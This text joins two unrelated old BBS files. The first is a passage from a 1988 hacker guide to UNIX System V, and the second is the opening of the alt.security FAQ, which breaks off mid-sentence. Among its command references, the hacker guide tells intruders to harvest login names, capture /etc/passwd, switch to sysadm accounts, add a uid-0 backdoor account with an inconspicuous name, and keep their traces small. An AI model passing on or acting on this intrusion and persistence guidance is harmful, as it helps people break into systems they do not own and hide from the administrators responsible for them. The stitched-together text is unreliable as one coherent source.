The 4,5c4,5 means that you must change "c"
lines 4 to 5 in one file to line 4 to 5 in
another.
Option for using this command are :
-b - it ignores blank spaces
-h - compares it quickly
-s - reports files that are the same
-S[file] - this is when you want to compare a directory starting at a
specific file

There is also a command to compare 3 files which is :

diff3 [options] [file1] [file2] [file3]

cp
--
cp [file name] [file name] - makes a copy of a file

$ cp letter letters
$
The file letters is a dupilcate copy of letter.In this case the original
is not erased like in the mv command

.... more UNIX commands:
--------------------

man [command] or [c/r] -will give you a list of commands explainations

help - available on some UNIX systems

mkdir [dir name(s)] - makes a directory

rmdir [dir name(s)] - removes directory.You wont be able to remove the
directory if it contains files in them

rm [file name(s)] - removes files. rm * will erase all files in the current
dir.Be carefull you!!.Some options are :
[-f unconditional removal] [-i Prompts user for y or n]

write [login name ] - to write to other logged in users.Sort of a chat

mesg [-n] [-y] - doesn't allow others to send you messages using the write
command.Wall used by system adm overrides it.

$ [file name] - to execute any file

wc [file name] - Counts words,chracters,lines in a file

stty [modes] - Set terminal I/O for the current devices

sort [filename] - Sorts and merges files many options

spell [file name] > [file name] - The second file is where the misspelt words
are entered

date [+%m%d%y*] [+%H%%M%S] - Displays date acoording to options

at [-r] [-l] [job] - Does a specified job at a specified time.The -r Removes
all previously scheduled jobs.The -l reports the job #
and status of all jobs scheduled

write [login] [tty] - Sends message to the login name.Chat!

su [login name]
---------------
The su command allows one to switch user to a super user to a user.Very
important could be used to switch to super user accounts.
Usage:

$ su sysadm
password:

This su command will be monitored in /usr/adm/sulog and this file of all files
is carefully monitered by the system administrator.Suppose you hacked in johns
account and then switched to the sysadm account (ABOVE) your /usr/adm/sulog
entry would look like:

SU 04/19/88 21:00 + tty 12 john-sysadm

Therfore the S.A(system administrator) would know that john swithed to sysadm
account on 4/19/88 at 21:00 hours

Searching for valid login names:
-------------------------------
Type in-
$ who ( command informs the user of other users on the system)
cathy tty1 april 19 2:30
john tty2 april 19 2:19
dipal tty3 april 19 2:31
:
:
tty is the users terminal,date,time each logged on.dipal,john are valid
logins.

Files worth concatenating(cat)
/etc/passwd file:
-----------------
The etc/passwd is a vital file to cat.For it contains login names of all
users including super user accounts and there passwords.In the newer
SVR3 releases they are tighting their security by moving the encrypted
passwords from /etc/passwd to /etc/shadow making it only readable by root.
This is optional offcourse.

$ cat /etc/passwd
root:D943/sys34:0:1:0000:/:
sysadm:k54doPerate:0:0:administration:usr/admin:/bin/rsh
checkfsys:Locked;:0:0:check file system:/usr/admin:/bin/rsh
:
other super user accs.
:
john:chips11:34:3:john scezerend:/usr/john:
:
other users
:
$
If you have reached this far capture this file as soon as posible.
This is a typical output etc/passwd file.The entries are seperated
by a ":".There made be up to 7 fields in each line.
Eg.sysadm account.
The first is the login name in this case sysadm.The second field contains the
password.The third field contains the user id."0 is the root".Then comes the
group id then the account which contains the user full name etc .The sixth
field is the login directory defines the full path name of the the particlar
account and the last is the program to be executed.
Now one can switch to other super user account using su command descibed above.
The password entry in the field of the checkfsys account in the above example
is "Locked;". This doesn't mean thats its a password but the account
checkfsys cannot be accessed remotely.The ";" acts as an unused encryption
chracter.A space is also used for the same purpose.You will find this in many
UNIX systems that are small systems where the system administrator handles
all maintaince.

Password aging:
---------------
If password aging is active the user is forced to change the password at
regular intervals.One may be able to tell just by looking at the /etc/passwd
file when the password is allowed to be changed and when it is compulsory to
change it.
For example the entry:

john:chips11,43:34:3:John Scezerend:/usr/john:

The password contains an extension of (,43) which mean that john can change has
to change the password atleast evert 6 weeks and can keep it for atleast 3
week.The format used is [password],Mmww.The M is the maxiumum number of weeks
password has to be change and m is the minimum interval password can be changed
and the ww is indicates when the password was last changed.

Aging chart:
---------|-----------
Character|# of weeks
. | 0
/ | 1
0-9 | 2-11
A-Z | 12-37
a-z | 38-63
---------|-----------

From the above anyone can determine the number of weeks one can chnage the
password.

The (ww) is automatically added as to when the password was last changed .

IF SHAWDOWING IS ACTIVE:
------------------------

If the shawdowing is active the /etc/passwd would look like this:

root:x:0:1:0000:/:
sysadm:x:0:0:administration:/usr/admin:/bin/rsh

The password filed is substituted by "x".

The /etc/shawdow file only readable by root will look similar to
this:

root:D943/sys34:5288::
:
super user accounts
:
Cathy:masai1:5055:7:120
:
all other users
:

The first field contains users id:the second contains the password(The pw will
be NONE if logining in remotely is deactivated):the third contains a code of
when the password was last changed:the fourth and the fifth contains the
minimum and the maximum numbers of days for pw changes(Its rare that you will
find this in the super user logins due to there hard to guess passwords)

/etc/options directory
-----------------------
The etc/options dir will consists of utilities available in the system.
Example:
-rwxr-xr-x 1 root sys 40 april 1:00 uucp.name
uucp standing for BNU

/etc/group
-----------
The file has each group on the system.Each line will have 4 entries separated
by a ":" . Example of concatenated /etc/group:

root::0:root
adm::2:adm,root
bluebox::70:

Group name:password:group id:login names
** It very unlikely that groups will have passwords assigned to them **
The id "0" is assigned to /

Sending and recieving messages:
-------------------------------
Two programs are used to manage this.They are mail & mailx.The difference
between them is that mailx is more fancier thereby giving you many choices
like replying message ,using editors etc.
Sending:
--------
The basic format for using this command is:

$mail [login(s)]
(now one would enter the text
after finishing enter "." a period
on the next blank line)
$
This command is also used to send mail to remote systems.Suppose you wanted
to send mail to john on a remote called ATT01
you would type in:

$mail ATT01!john

Mail can be sent to several users,just by entering more login name after
issuing the mail command

Using mailx is the same format:(This I'll describe very briefly)
$mailx john
subject:(this lets you enter the subject)
(line #1)
(line #2)
(After you finish enter (~.) not the brackets offcourse ,more commands are
available like ~p,~r,~v,~m,~h,~b etc.)

Receiving:
----------
After you log on to the system you will the account may have mail waiting.
You will be notified "you have mail".
To read this enter:
$mail
(line #1)
(line #2)
(line #3)
?
$
After the message you will be prompted with a question mark.Here you have a
choice to delete it by entering d,saving it to view it later s,or just press
enter to view the next message.
(DONT BE A SAVANT AND DELETE THE POOR GUYS MAIL)

Super user commands:
--------------------
$sysadm adduser - will take you through a routine to add a user
(may not last long)

Enter this:

$ sysadm adduser
password:
(this is what you will see)
/--------------------------------------------------------------------------\
Process running succommmand `adduser`
USER MANAGMENT

Anytime you want to quit, type "q".
If you are not sure how to answer any prompt, type "?" for help

If a default appears in the question,press <RETURN> for the default.

Enter users full name [?,q]: (enter the name you want)
Enter users login ID [?,q]:(the id you want to use)
Enter users ID number (default 50000) [?,q) [?,q]:( press return )
Enter group ID number or group name:(any name from /etc/group)
Enter users login home directory:(enter /usr/name)

This is the information for the new login:
Users name: (name)
login ID:(id)
users ID:50000
group ID or name:
home directory:/usr/name
Do you want to install,edit,skip [i,e,s,q]? (enter your choice if "i" then)
Login installed
Do you want to give the user a password?[y,n] (its better to enter one)
New password:
Re-enter password:

Do you want to add another login?
\----------------------------------------------------------------------------/

This is the proccess to add a user.Since you hacked into a super user account
you can make a super user account by doing the following by entering 0 as an
user and a group ID and enter the home directory as /usr/admin.This will give
you as much access as the account sysadm
**Caution** - Do not use login names like Hacker,Cracker,Phreak etc .This is
a total give away.
The process of adding a user wont last very long the S.A will know when he
checks out the /etc/passwd file

$sysadm moduser - This utility allows one to modify users.DO NOT ABUSE!!!
Password:

This is what you'll see:

/----------------------------------------------------------------------------\
MODIFYING USER'S LOGIN

1)chgloginid (This is to change the login ID)
2)chgpassword (Changing password)
3)chgshell (Changing directory DEFAULT = /bin/sh)

ENTER A NUMBER,NAME,INITIAL PART OF OF NAME,OR ? OR <NUMBER>? FOR HELP,
Q TO QUIT ?
\----------------------------------------------------------------------------/

Try every one of them out.Do not change someones password.It creates a havoc.
If you do decide to change it.Please write the original one down somewhere
and change back.Try not to leave to many traces after you had your fun.
In choice number 1 you will be asked for the login and then the new one.
In choice number 2 you will asked for the login and then supplied by it correct
password and enter a new one.
In choice 3 this is used to a pchange the login shell ** Use full **
The above utilites can be used separatly for eg( To change a password one
coulfd enter: $sysadm chgpasswd not chapassword ,The rest are same)

$sysadm deluser - This is an obviously to delete a user
password:

This will be the screen output:
/---------------------------------------------------------------------------\
Running subcommand 'deluser' from menu 'usermgmt'
USER MANAGEMENT
This fuction completely removes the user,their mail file,home directory
and all files below their home directory from the machine.

Enter login ID you wish to remove[q]: (eg.cathy)
'cathy' belongs to 'Cathy Franklin'
whose home directory is /usr/cathy
Do you want to remove this login ID 'cathy' ? [y,n,?,q] :

/usr/cathy and all files under it have been deleted.

Enter login ID you wish to remove [q]:
\--------------------------------------------------------------------------/
This command deletes everthing owned by the user.Dont use it even if you have
access to it.

other super user commands:
--------------------------
wall [text] control-d - to send an anouncement to users logged in(will
override mesg -n command).Execute only from /
/etc/newgrp - is used to become a member of a group

sysadm [program name]
delgroup - delets groups
whoson - self explanatory
lsgroup - Lists group
mklineset -hunts various sequences
lsuser -lists all the users & their logins names

Other commands may require file system to be mounted.

Basic Networking utility(BNU)
-----------------------------

The BNU is a unique feature in UNIX.Some systems may not have this installed.
What BNU does is allow other remote UNIXes communicate with yours without
logging off the present one.BNU also allowes file transfer between computers.
Most UNIX systems V will have this feature installed.

The user program like cu,uux etc are located in the /usr/bin directory

Basic Networking Files:
-----------------------
/usr/lib/uucp/[file name]
[file name]
systems - cu command to establishes link.Contains info on remote computers
name,time it can be reached,login Id,password,telephone numbers
devices - inter connected with systems files(Automatic call unit same in two
entries)also cantains baud rate,port tty1 etc.

dialers - where asscii converation must be made before file tranfers etc.
dialcodes - contains abreiviations for phone numbers that can be used in
systems file

other files are sysfiles,permissions,poll,devconfig

B.N.U Aministrative files:
--------------------------
There are 5 admnistrative files present.These are files are created in the
/usr/spool directory .These A.Files are responsible for various BNU procceses
like kepping records data ,files tranfers bettwenn remote and local and also
usefull to lock devices.

TM - This file used to hold temporary data .When tranfering the files from a
remote to local the /usr/spool/uucp/[name of the remote computer ] creates
this in the format of as of below:

TM[Process Identification Number].[ddd]

The ddd is the a 3 digit number (sequential) starting with "0"
Here a typical eg: TM322.012
Then this file is moved into the path defined by the C.sysnxxx file

X.[Execute files] - Created in the /usr/spool before you execute the commands
in remote.
The format used to name this file is X.sysnxxx
where sys stand for the remote name and n is the priority
level the xxxx is a sequence assingned by the uucp.These
files always contain the Name of the file ,Comuter & file
name to recieve,Persons login & computer name and the
command string.

LCK - The lock file created in the /usr/spool/locks directory.The is used when
devices are being used.Prevent usage of the same calling device.

Format used: LCK.str wher the str is a device name.The Lock file contains
the PID needed to lock

C.sysnxxx - created in the usr/spool directory.These are the work files.Used
when work is in line,remote execeutions.Format is same as the
X.sysnxxxx.The works files contain the full path name of the file
to be sent,path name of the destination (TM Transfers),Remote login
name to be notified after the file transmision is complete,Users
login name and the name of the programs used eg.uucp,uupick etc.

D - The data files.Format used is D.systmxxxxyyy.These files are created when
specified in a command to copy to the spool directory.Eg. By the usage of
uucp -C this will be true.
The systm is the remote name,xxxx is the the 4 digits seq assingned by
the uucp.The yyy is a sub sequence number.

Logining on to remote and sending+receiving files
-------------------------------------------------
cu - This command allows one to log on to the local as well as the remote
Unix (or a non unix)without haveing to hang up so you can transfer files.
Usage:[options]

$ cu [-s baud rate][-o odd parity][-e even parity][-l name of comm line]
telephone number | systemname

To view system names that you can communicate with use the 'unname' command:
Eg. of output of names:

ATT01
ATT02
ATT03
ATT04

$ cu -s300 3=9872344 (9872344 is the tel#)
connected
login:
password:

local strings:
--------------
<~.> - will log you off the remote terminal but not the local
~! - out you on the local withiout disconnecting the line from remote
<control-d> - puts you back on the remote unix
~%take [file name] - takes a copy of the file name and copies it to the
local(the directory which you are in)
"%put [file name] - reverse of above
~$[command] - allows the execution of a command to the local from remote

ct
--
ct allows local to connect to remote.Initiates a getty on a remote terminal.
Usefull when using a remote terminal.BNU has call back feature that allows
the user on the remote who can execute a call back meaning the local can call
the remote.[ ] are options

$ ct [-h prevent automatic hang up][-s bps rate][-wt set a time to call back
abbrieviated t mins] telephone number

uux
---
To execute commands on a remote (unix to unix)
usage:[ ] are options

$ uux [- use standard output][-n prevent mail notification][-p also use
standard output] command-string

uucp
----
uucp copies files from ones computer to the home directory
of a user in remote system.This also works when copying files from one
directory to another in the remote.The remote user will be notified by mail.
This command becomes use full when copying files from a remote to your local
system.
The uucp requires the uucico daemon will call up the remote and will perform
file login sequence,file transfer and notify the user by mail.
Daemons are programs runining in the background.The 3 daemons in a Unix are
uucico,uusched,uuxqt.

Daemons Explained:[nows a good time to explain the 3 daemons]
------------------

uuxqt - Remote execution.This daemon is executed by uudemon.hour started by
cron.UUXQT searchs in the spool directory for executable file
named X.file sent from the remote system.When it finds a file X.file
where it obtains process which are to be executed.The next step is
to find weather the processes are available at the time.The if
available it checks permission and if everthing is o.k it proceeds
the background proccess.

uucico - This Daemon is very immportant for it is responsible in establishing
a connection to the remote also checks permission,performs login
procedures,transfers + executes files and also notifies the user
by mail.This daemon is called upon by uucp,uuto,uux commands.

uusched - This is executed by the shell script called uudemon.hour
This daemons acts as a randomizer before the UUCICO daemon is
called.

Usage of uucp command:

$ uucp [options] [first full path name!] file [destination path!] file
example:
$ uucp -m -s bbss hackers unix2!/usr/todd/hackers

What this would do is send the file hackers from your computer to the remotes
/usr/todd/hackers making hackers offcourse as file.todd would mail that
a file has been sent to him.The unix2 is the name of the remote.
Options for uucp:(Dont forget to type in remotes name unix2 in case)
-c dont copy files to spool directory
-C copy to spool
-s[file name] - this file will contain the file status(above is bbss)
-r Dont start the comm program(uucico) yet
-j print job number(for above eg.unix2e9o3)
-m send mail when file file is complete

Now suppose you wanted to receive file called kenya which is in the usr/dan/usa
to your home directory /usr/john assuming that the local systems name is
ATT01 and you are currently working in /usr/dan/usa,you would type in:

$uucp kenya ATT01!/usr/john/kenya

uuto
----
The uuto command allows one to send file to remote user and can also be used
to send files locally.
Usage:
$ uuto [file name] [system!login name]( omit systen name if local)

Conclusion:
-----------
Theres always more one can say about the UNIX but its time to stop.
I hope you have enjoyed the article.I apologize for the lenght. I hope I
made the UNIX operating system more familiar.
Remember do not abuse any systems you hack into for a true hacker doesn't like
to reck but to learn.
I can be reached at (718)358/9209 - Hackers Den88 [2600 BBS #5]

Watch for my new article on using PANAMAC airline computers coming soon.

Red Knight
P/HUN!
<<T.S.A.N>>

Leached off SSC (713) 497-2312

[13] [UNIX system specifics (all versions)]
(98) Minutes Remaining
(G-Files Menu) Command <?-Help>: [

X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X
Another file downloaded from: The NIRVANAnet(tm) Seven

& the Temple of the Screaming Electron Taipan Enigma 510/935-5845
Burn This Flag Zardoz 408/363-9766
realitycheck Poindexter Fortran 510/527-1662
Lies Unlimited Mick Freen 801/278-2699
The New Dork Sublime Biffnix 415/864-DORK
The Shrine Rif Raf 206/794-6674
Planet Mirth Simon Jester 510/786-6560

"Raw Data for Raw Nerves"
X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X

Almost Everything You Ever Wanted To Know About Security

2013-02-01T22:47:00.005+07:00

This document is meant to answer some of the questions which regularly
appear in the Usenet newsgroups "comp.security.misc" and "alt.security",
and is meant to provide some background to the subject for newcomers to
that newsgroup.

This FAQ is maintained by Alec Muffett (aem@aber.ac.uk, uknet!aber!aem),
with contributions from numerous others [perhaps]. The views expressed
in the document are the personal views of the author(s), and it should
not be inferred that they are necessarily shared by anyone with whom the
author(s) are now, or ever may be, associated.

Many thanks go to (in no particular order): Steve Bellovin, Matt Bishop,
Mark Brader, Ed DeHart, Dave Hayes, Jeffrey Hutzelman, William LeFebvre,
Wes Morgan, Rob Quinn, Chip Rosenthal, Wietse Venema, Gene Spafford,
John Wack and Randall Atkinson.

Disclaimer: Every attempt is made to ensure that the information
contained in this FAQ is up to date and accurate, but no responsibility
will be accepted for actions resulting from information gained herein.

Questions which this document addresses:

Q.1 What are alt.security and comp.security.misc for?
Q.2 Whats the difference between a hacker and a cracker?
Q.3 What is "security through obscurity"
Q.4 What makes a system insecure?
Q.5 What tools are there to aid security?
Q.6 Isn't it dangerous to give cracking tools to everyone?
Q.7 Where can I get these tools?
Q.8 Why and how do systems get broken into?
Q.9 Who can I contact if I get broken into?
Q.10 What is a firewall?
Q.11 Why shouldn't I use setuid shell scripts?
Q.12 Why shouldn't I leave "root" permanently logged on the console?
Q.13 Why shouldn't I create Unix accounts with null passwords?
Q.14 What security holes are associated with X-windows (and other WMs)?
Q.15 What security holes are associated with NFS?
Q.16 How can I generate safe passwords?
Q.17 Why are passwords so important?
Q.18 How many possible passwords are there?
Q.19 Where can I get more information?
Q.20 How silly can people get?

---------------------------------------------------------------------------

Q.1 What are alt.security and comp.security.misc for?

Comp.security.misc is a forum for the discussion of computer security,
especially those relating to Unix (and Unix like) operating systems.
Alt.security used to be the main newsgroup covering this topic, as well
as other issues such as car locks and alarm systems, but with the
creation of comp.security.misc, this may change.

This FAQ will concentrate wholly upon computer related security issues.

The discussions posted range from the likes of "What's such-and-such
system like?" and "What is the best software I can use to do so-and-so"
to "How shall we fix this particular bug?", although there is often a
low signal to noise ratio in the newsgroup (a problem which this FAQ
hopes to address).

The most common flamewars start when an apparent security novice posts a
message saying "Can someone explain how the such-and-such security hole
works?" and s/he is immediately leapt upon by a group of self appointed
people who crucify the person for asking such an "unsound" question in a
public place, and flame him/her for "obviously" being a cr/hacker.

Please remember that grilling someone over a high flame on the grounds
that they are "a possible cr/hacker" does nothing more than generate a
lot of bad feeling. If computer security issues are to be dealt with in
an effective manner, the campaigns must be brought (to a large extent)
into the open.

Implementing computer security can turn ordinary people into rampaging
paranoiacs, unable to act reasonably when faced with a new situation.
Such people take an adversarial attitude to the rest of the human race,
and if someone like this is in charge of a system, users will rapidly
find their machine becoming more restrictive and less friendly (fun?) to
use.

This can lead to embarrasing situations, eg: (in one university) banning
a head of department from the college mainframe for using a network
utility that he wasn't expected to. This apparently required a lot of
explaining to an unsympathetic committee to get sorted out.

A more sensible approach is to secure a system according to its needs,
and if its needs are great enough, isolate it completely. Please, don't
lose your sanity to the cause of computer security; it's not worth it.

Q.2 What's the difference between a hacker and a cracker?

Lets get this question out of the way right now:

On USENET, calling someone a "cracker" is an unambiguous statement that
some person persistently gets his/her kicks from breaking from into
other peoples computer systems, for a variety of reasons. S/He may pose
some weak justification for doing this, usually along the lines of
"because it's possible", but most probably does it for the "buzz" of
doing something which is illicit/illegal, and to gain status amongst a
peer group.

Particularly antisocial crackers have a vandalistic streak, and delete
filestores, crash machines, and trash running processes in pursuit of
their "kicks".

The term is also widely used to describe a person who breaks copy
protection software in microcomputer applications software in order to
keep or distribute free copies.

On USENET, calling someone a "hacker" is usually a statement that said
person holds a great deal of knowledge and expertise in the field of
computing, and is someone who is capable of exercising this expertise
with great finesse. For a more detailed definition, readers are
referred to the Jargon File [Raymond].

In the "real world", various media people have taken the word "hacker"
and coerced it into meaning the same as "cracker" - this usage
occasionally appears on USENET, with disastrous and confusing results.

Posters to the security newsgroups should note that they currently risk
a great deal of flamage if they use the word "hacker" in place of
"cracker" in their articles.

NB: nowhere in the above do I say that crackers cannot be true hackers.
It's just that I don't say that they are...

Q.3 What is "security through obscurity"

Security Through Obscurity (STO) is the belief that a system of any sort
can be secure so long as nobody outside of its implementation group is
allowed to find out anything about its internal mechanisms. Hiding
account passwords in binary files or scripts with the presumption that
"nobody will ever find it" is a prime case of STO.

STO is a philosophy favoured by many bureaucratic agencies (military,
governmental, and industrial), and it used to be a major method of
providing "pseudosecurity" in computing systems.

Its usefulness has declined in the computing world with the rise of open
systems, networking, greater understanding of programming techniques, as
well as the increase in computing power available to the average person.

The basis of STO has always been to run your system on a "need to know"
basis. If a person doesn't know how to do something which could impact
system security, then s/he isn't dangerous.

Admittedly, this is sound in theory, but it can tie you into trusting a
small group of people for as long as they live. If your employees get
an offer of better pay from somewhere else, the knowledge goes with
them, whether the knowledge is replaceable or not. Once the secret gets
out, that is the end of your security.

Nowadays there is also a greater need for the ordinary user to know
details of how your system works than ever before, and STO falls down a
as a result. Many users today have advanced knowledge of how their
operating system works, and because of their experience will be able to
guess at the bits of knowledge that they didn't "need to know". This
bypasses the whole basis of STO, and makes your security useless.

Hence there is now a need is to to create systems which attempt to be
algorithmically secure (Kerberos, Secure RPC), rather than just
philosophically secure. So long as your starting criteria can be met,
your system is LOGICALLY secure.

"Shadow Passwords" (below) are sometimes dismissed as STO, but this is
incorrect, since (strictly) STO depends on restricting access to an
algorithm or technique, whereas shadow passwords provide security by
restricting access to vital data.

Q.4 What makes a system insecure?

Switching it on. The adage usually quoted runs along these lines:

"The only system which is truly secure is one which is switched off
and unplugged, locked in a titanium lined safe, buried in a concrete
bunker, and is surrounded by nerve gas and very highly paid armed
guards. Even then, I wouldn't stake my life on it."

(the original version of this is attributed to Gene Spafford)

A system is only as secure as the people who can get at it. It can be
"totally" secure without any protection at all, so long as its continued
good operation is important to everyone who can get at it, assuming all
those people are responsible, and regular backups are made in case of
hardware problems. Many laboratory PC's quite merrily tick away the
hours like this.

The problems arise when a need (such as confidentiality) has to be
fulfilled. Once you start putting the locks on a system, it is fairly
likely that you will never stop.

Security holes manifest themselves in (broadly) four ways:

1) Physical Security Holes.

- Where the potential problem is caused by giving unauthorised persons
physical access to the machine, where this might allow them to perform
things that they shouldn't be able to do.

A good example of this would be a public workstation room where it would
be trivial for a user to reboot a machine into single-user mode and muck
around with the workstation filestore, if precautions are not taken.

Another example of this is the need to restrict access to confidential
backup tapes, which may (otherwise) be read by any user with access to
the tapes and a tape drive, whether they are meant to have permission or
not.

2) Software Security Holes

- Where the problem is caused by badly written items of "privledged"
software (daemons, cronjobs) which can be compromised into doing things
which they shouldn't oughta.

The most famous example of this is the "sendmail debug" hole (see
bibliography) which would enable a cracker to bootstrap a "root" shell.
This could be used to delete your filestore, create a new account, copy
your password file, anything.

(Contrary to popular opinion, crack attacks via sendmail were not just
restricted to the infamous "Internet Worm" - any cracker could do this
by using "telnet" to port 25 on the target machine. The story behind a
similar hole (this time in EMACS) is described in [Stoll].)

New holes like this appear all the time, and your best hopes are to:

a: try to structure your system so that as little software as possible
runs with root/daemon/bin privileges, and that which does is known to
be robust.

b: subscribe to a mailing list which can get details of problems
and/or fixes out to you as quickly as possible, and then ACT when you
receive information.

3) Incompatible Usage Security Holes

- Where, through lack of experience, or no fault of his/her own, the
System Manager assembles a combination of hardware and software which
when used as a system is seriously flawed from a security point of view.
It is the incompatibility of trying to do two unconnected but useful
things which creates the security hole.

Problems like this are a pain to find once a system is set up and
running, so it is better to build your system with them in mind. It's
never too late to have a rethink, though.

Some examples are detailed below; let's not go into them here, it would
only spoil the surprise.

4) Choosing a suitable security philosophy and maintaining it.

>From: Gene Spafford <spaf@cs.purdue.edu>
>The fourth kind of security problem is one of perception and
>understanding. Perfect software, protected hardware, and compatible
>components don't work unless you have selected an appropriate security
>policy and turned on the parts of your system that enforce it. Having
>the best password mechanism in the world is worthless if your users
>think that their login name backwards is a good password! Security is
>relative to a policy (or set of policies) and the operation of a system
>in conformance with that policy.

Q.5 What tools are there to aid security?

1) "COPS"

Managed by Dan Farmer, this is a long established suite of shell scripts
which forms an extensive security testing system; There is a rudimentary
password cracker, and routines to check the filestore for suspicious
changes in setuid programs, others to check permissions of essential
system and user files, and still more to see whether any system software
behaves in a way which could cause problems.

The software comes in two versions - one written in Perl and one
(largely equivalent) written in shell scripts. The latest version is
very up-to-date on Unix Security holes.

2) "Crack" (+ "UFC").

Written by Alec Muffett, this is a program written with one purpose in
mind: to break insecure passwords. It is probably the most efficent and
friendly password cracker that is publically available, with the ability
to let the user to specify precisely how to form the words to use as
guesses at users passwords.

It also has an inbuilt networking capability, allowing the load of
cracking to be spread over as many machines as are available on a
network, and it is supplied with an optimised version of the Unix crypt()
algorithm.

An even faster version of the crypt() algorithm, "UFC" by Michael Glad,
is freely available on the network, and the latest versions of UFC and
Crack are compatible and can be easily hooked together.

3) NPasswd (Clyde Hoover) & Passwd+ (Matt Bishop)

These programs are written to redress the balance in the password
cracking war. They provide replacements for the standard "passwd"
command, but prevent a user from selecting passwords which are easily
compromised by programs like Crack.

Several versions of these programs are available on the network, hacked
about to varying degrees in order to provide compatibility for System V
based systems, NIS/YP, shadow password schemes, etc. The usual term for
this type of program is a 'fascist' password program.

4) "Shadow" - a Shadow Password Suite

This program suite (by John F Haugh II) is a set of program and function
replacements (compatible with most Unixes) which implements shadow
passwords, ie: a system where the plaintext of the password file is
hidden from all users except root, hopefully stopping all password
cracking attempts at source. In combination with a fascist passwd
frontend, it should provide a good degree of password file robustness.

>From: jfh@rpp386.lonestar.org (John F. Haugh II)
>Shadow does much more than hide passwords. It also provides for
>terminal access control, user and group administration, and a few
>other things which I've forgotten. There are a dozen or more
>commands in the suite, plus a whole slew of library functions.

5) TCP Wrappers (Wietse Venema)

These are programs which provide a front-end filter to many of the
network services which Unix provides by default. If installed, they can
curb otherwise unrestricted access to potential dangers like incoming
FTP/TFTP, Telnet, etc, and can provide extra logging information, which
may be of use if it appears that someone is trying to break in.

6) SecureLib

>From: phil@pex.eecs.nwu.edu (William LeFebvre)
>You may want to add a mention of securelib, a security enhancer
>available for SunOS version 4.1 and higher.

>Securelib contains replacement routines for three kernel calls:
>accept(), recvfrom(), recvmsg(). These replacements are compatible with
>the originals, with the additional functionality that they check the
>Internet address of the machine initiating the connection to make sure
>that it is "allowed" to connect. A configuration file defines what
>hosts are allowed for a given program. Once these replacement routines
>are compiled, they can be used when building a new shared libc library.
>The resulting libc.so can then be put in a special place. Any program
>that should be protected can then be started with an alternate
>LD_LIBRARY_PATH.

7) SPI

>From: Gene Spafford <spaf@cs.purdue.edu>
>Sites connected with the Department of Energy and some military
>organizations may also have access to the SPI package. Interested (and
>qualified) users should contact the CIAC at LLNL for details.

>SPI is a screen-based administrator's tool that checks configuration
>options, includes a file-change (integrity) checker to monitor for
>backdoors and viruses, and various other security checks. Future
>versions will probably integrate COPS into the package. It is not
>available to the general public, but it is available to US Dept of
>Energy contractors and sites and to some US military sites. A version
>does or will exist for VMS, too. Further information on availabilty can
>be had from the folks at the DoE CIAC.

Q.6 Isn't it dangerous to give cracking tools to everyone?

That depends on your point of view. Some people have complained that
giving unrestricted public access to programs like COPS and Crack is
irresponsible because the "baddies" can get at them easily.

Alternatively, you may believe that the really bad "baddies" have had
programs like this for years, and that it's really a stupendously good
idea to give these programs to the good guys too, so that they may check
the integrity of their system before the baddies get to them.

So, who wins more from having these programs freely available? The good
guys or the bad ? You decide, but remember that less honest tools than
COPS and Crack tools were already out there, and most of the good guys
didn't have anything to help.

Q.7 Where can I get these tools?

COPS:

V1.04, available for FTP from cert.sei.cmu.edu in pub/cops and
archive.cis.ohio-state.edu in pub/cops.

Crack/UFC:

Crack v4.1f and UFC Patchlevel 1. Available from any major USENET
archive (eg: ftp.uu.net) in volume 28 of comp.sources.misc.

NPasswd:

Currently suffering from being hacked about by many different people.
Version 2.0 is in the offing, but many versions exist in many
different configurations. Will chase this up with authors - AEM

Passwd+:

"alpha version, update 3" - beta version due soon. Available from
dartmouth.edu as pub/passwd+.tar.Z

Shadow:

This is available from the comp.sources.misc directory at any major
USENET archive (see entry for Crack)

TCP Wrappers:

Available for anonymous FTP:

cert.sei.cmu.edu: pub/network_tools/tcp_wrapper.shar
ftp.win.tue.nl: pub/security/log_tcp.shar.Z

Securelib:

The latest version of securelib is available via anonymous FTP from the
host "eecs.nwu.edu". It is stored in the file "pub/securelib.tar".

Q.8 Why and how do systems get broken into?

This is hard to answer definitively. Many systems which crackers break
into are only used as a means of entry into yet more systems; by hopping
between many machines before breaking into a new one, the cracker hopes
to confuse any possible pursuers and put them off the scent. There is
an advantage to be gained in breaking into as many different sites as
possible, in order to "launder" your connections.

Another reason may be psychological: some people love to play with
computers and stretch them to the limits of their capabilities.

Some crackers might think that it's "really neat" to hop over 6 Internet
machines, 2 gateways and an X.25 network just to knock on the doors of
some really famous company or institution (eg: NASA, CERN, AT+T, UCB).
Think of it as inter-network sightseeing.

This view is certainly appealing to some crackers, and certainly leads
to both the addiction and self-perpetuation of cracking.

As to the "How" of the question, this is again a very sketchy area. In
universities, it is extremely common for computer account to be passed
back and forth between undergraduates:

"Mary gives her account password to her boyfriend Bert at another
site, who has a friend Joe who "plays around on the networks". Joe
finds other crackable accounts at Marys site, and passes them around
amongst his friends..." pretty soon, a whole society of crackers is
playing around on the machines that Mary uses.

This sort of thing happens all the time, and not just in universities.
One solution is in education. Do not let your users develop attitudes
like this one:

"It doesn't matter what password I use on _MY_ account,
after all, I only use it for laserprinting..."
- an Aberystwyth Law student, 1991

Teach them that use of the computer is a group responsibility. Make
sure that they understand that a chain is only as strong as it's weak
link.

Finally, when you're certain that they understand your problems as a
systems manager and that they totally sympathise with you, configure
your system in such a way that they can't possibly get it wrong.

Believe in user education, but don't trust to it alone.

Q.9 Who can I contact if I get broken into?

If you're connected to the Internet, you should certainly get in touch
with CERT, the Computer Emergency Response Team.

To quote the official blurb:

>From: Ed DeHart
> The Computer Emergency Response Team (CERT) was formed by the Defense
> Advanced Research Projects Agency (DARPA) in 1988 to serve as a focal
> point for the computer security concerns of Internet users. The
> Coordination Center for the CERT is located at the Software Engineering
> Institute, Carnegie Mellon University, Pittsburgh, PA.

> Internet E-mail: cert@cert.sei.cmu.edu
> Telephone: 412-268-7090 24-hour hotline:
> CERT/CC personnel answer 7:30a.m. to 6:00p.m. EST(GMT-5)/EDT(GMT-4),
> and are on call for emergencies during other hours.

...and also, the umbrella group "FIRST", which mediates between the
incident handling teams themselves...

>From: John Wack <wack@csrc.ncsl.nist.gov>
>[...] FIRST is actually a very viable and growing
>organization, of which CERT is a member. It's not actually true that,
>if you're connected to the Internet, you should call CERT only - that
>doesn't do justice to the many other response teams out there and in the
>process of forming.

>NIST is currently the FIRST secretariat; we maintain an anonymous ftp
